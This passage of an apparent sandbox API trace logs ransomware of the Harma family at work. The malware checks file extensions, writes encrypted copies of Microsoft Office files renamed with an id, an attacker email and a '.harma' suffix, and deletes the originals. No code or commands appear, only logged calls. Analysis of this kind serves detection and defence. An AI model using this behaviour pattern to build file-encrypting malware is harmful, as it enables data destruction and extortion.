lpNumberOfBytesWritten=0x363fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0156.823] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.823] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0156.823] SetEndOfFile (hFile=0x378) returned 1 [0156.823] CloseHandle (hObject=0x378) returned 1 [0156.824] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.824] SetEndOfFile (hFile=0x364) returned 1 [0156.828] CloseHandle (hObject=0x364) returned 1 [0156.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0156.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString=".doc") returned 4 [0156.829] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".docx") returned 5 [0156.829] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0156.829] lstrlenW (lpString=".pdf") returned 4 [0156.829] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".xls") returned 4 [0156.829] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".xlsx") returned 5 [0156.829] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0156.829] lstrlenW (lpString=".ppt") returned 4 [0156.829] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString=".zip") returned 4 [0156.829] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".rar") returned 4 [0156.829] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".bz2") returned 4 [0156.829] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString=".7z") returned 3 [0156.829] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString=".dbf") returned 4 [0156.829] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString=".1cd") returned 4 [0156.829] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.829] lstrlenW (lpString=".jpg") returned 4 [0156.829] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString=".doc") returned 4 [0156.830] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".docx") returned 5 [0156.830] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0156.830] lstrlenW (lpString=".pdf") returned 4 [0156.830] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".xls") returned 4 [0156.830] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".xlsx") returned 5 [0156.830] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0156.830] lstrlenW (lpString=".ppt") returned 4 [0156.830] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString=".zip") returned 4 [0156.830] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".rar") returned 4 [0156.830] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".bz2") returned 4 [0156.830] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString=".7z") returned 3 [0156.830] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString=".dbf") returned 4 [0156.830] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString=".1cd") returned 4 [0156.830] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0156.830] lstrlenW (lpString=".jpg") returned 4 [0156.830] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0156.831] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0156.831] lstrlenW (lpString="MOR6INT.DLL") returned 11 [0156.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.428] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=446312) returned 1 [0157.428] CloseHandle (hObject=0x210) returned 1 [0157.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll")) returned 0x20 [0157.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.428] lstrlenW (lpString=".doc") returned 4 [0157.428] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString=".docx") returned 5 [0157.429] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0157.429] lstrlenW (lpString=".pdf") returned 4 [0157.429] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString=".xls") returned 4 [0157.429] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString=".xlsx") returned 5 [0157.429] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0157.429] lstrlenW (lpString=".ppt") returned 4 [0157.429] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.429] lstrlenW (lpString=".zip") returned 4 [0157.429] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString=".rar") returned 4 [0157.429] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.429] lstrlenW (lpString=".bz2") returned 4 [0157.429] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.429] lstrlenW (lpString=".7z") returned 3 [0157.429] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.429] lstrlenW (lpString=".dbf") returned 4 [0157.429] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.429] lstrlenW (lpString=".1cd") returned 4 [0157.429] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.429] lstrlenW (lpString=".jpg") returned 4 [0157.430] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.430] lstrlenW (lpString=".doc") returned 4 [0157.430] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString=".docx") returned 5 [0157.430] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0157.430] lstrlenW (lpString=".pdf") returned 4 [0157.430] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString=".xls") returned 4 [0157.430] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString=".xlsx") returned 5 [0157.430] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0157.430] lstrlenW (lpString=".ppt") returned 4 [0157.430] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.430] lstrlenW (lpString=".zip") returned 4 [0157.430] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString=".rar") returned 4 [0157.430] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.430] lstrlenW (lpString=".bz2") returned 4 [0157.430] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.430] lstrlenW (lpString=".7z") returned 3 [0157.430] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.430] lstrlenW (lpString=".dbf") returned 4 [0157.430] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.430] lstrlenW (lpString=".1cd") returned 4 [0157.430] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0157.431] lstrlenW (lpString=".jpg") returned 4 [0157.431] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.431] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0157.431] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0157.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.431] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=208) returned 1 [0157.431] CloseHandle (hObject=0x210) returned 1 [0157.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 0x20 [0157.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.432] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.432] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.432] GetLastError () returned 0x0 [0157.433] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd0, lpOverlapped=0x0) returned 1 [0157.433] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0157.434] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.434] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0157.435] SetEndOfFile (hFile=0x20c) returned 1 [0157.435] CloseHandle (hObject=0x20c) returned 1 [0157.435] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.435] SetEndOfFile (hFile=0x210) returned 1 [0157.437] CloseHandle (hObject=0x210) returned 1 [0157.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.438] lstrlenW (lpString=".doc") returned 4 [0157.438] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.438] lstrlenW (lpString=".docx") returned 5 [0157.438] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.438] lstrlenW (lpString=".pdf") returned 4 [0157.438] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.438] lstrlenW (lpString=".xls") returned 4 [0157.438] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.438] lstrlenW (lpString=".xlsx") returned 5 [0157.438] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.438] lstrlenW (lpString=".ppt") returned 4 [0157.438] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.438] lstrlenW (lpString=".zip") returned 4 [0157.438] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString=".rar") returned 4 [0157.439] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString=".bz2") returned 4 [0157.439] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.439] lstrlenW (lpString=".7z") returned 3 [0157.439] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString=".dbf") returned 4 [0157.439] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString=".1cd") returned 4 [0157.439] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString=".jpg") returned 4 [0157.439] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString=".doc") returned 4 [0157.439] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.439] lstrlenW (lpString=".docx") returned 5 [0157.439] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.439] lstrlenW (lpString=".pdf") returned 4 [0157.439] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString=".xls") returned 4 [0157.439] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString=".xlsx") returned 5 [0157.439] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.439] lstrlenW (lpString=".ppt") returned 4 [0157.439] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.439] lstrlenW (lpString=".zip") returned 4 [0157.439] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.440] lstrlenW (lpString=".rar") returned 4 [0157.440] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.440] lstrlenW (lpString=".bz2") returned 4 [0157.440] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.440] lstrlenW (lpString=".7z") returned 3 [0157.440] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.440] lstrlenW (lpString=".dbf") returned 4 [0157.440] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.440] lstrlenW (lpString=".1cd") returned 4 [0157.440] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0157.440] lstrlenW (lpString=".jpg") returned 4 [0157.440] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.440] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.440] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0157.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.441] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0157.441] CloseHandle (hObject=0x210) returned 1 [0157.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 0x20 [0157.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.441] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.441] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.442] GetLastError () returned 0x0 [0157.442] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0157.443] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.444] ReadFile (in: hFile=0x210, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.444] WriteFile (in: hFile=0x20c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0157.444] SetEndOfFile (hFile=0x20c) returned 1 [0157.444] CloseHandle (hObject=0x20c) returned 1 [0157.444] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.444] SetEndOfFile (hFile=0x210) returned 1 [0157.446] CloseHandle (hObject=0x210) returned 1 [0157.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 1 [0157.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.447] lstrlenW (lpString=".doc") returned 4 [0157.447] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.447] lstrlenW (lpString=".docx") returned 5 [0157.447] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.447] lstrlenW (lpString=".pdf") returned 4 [0157.447] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.447] lstrlenW (lpString=".xls") returned 4 [0157.447] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.447] lstrlenW (lpString=".xlsx") returned 5 [0157.447] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.448] lstrlenW (lpString=".ppt") returned 4 [0157.448] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString=".zip") returned 4 [0157.448] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString=".rar") returned 4 [0157.448] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString=".bz2") returned 4 [0157.448] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.448] lstrlenW (lpString=".7z") returned 3 [0157.448] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString=".dbf") returned 4 [0157.448] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString=".1cd") returned 4 [0157.448] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString=".jpg") returned 4 [0157.448] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0157.448] lstrlenW (lpString="C:\\Program 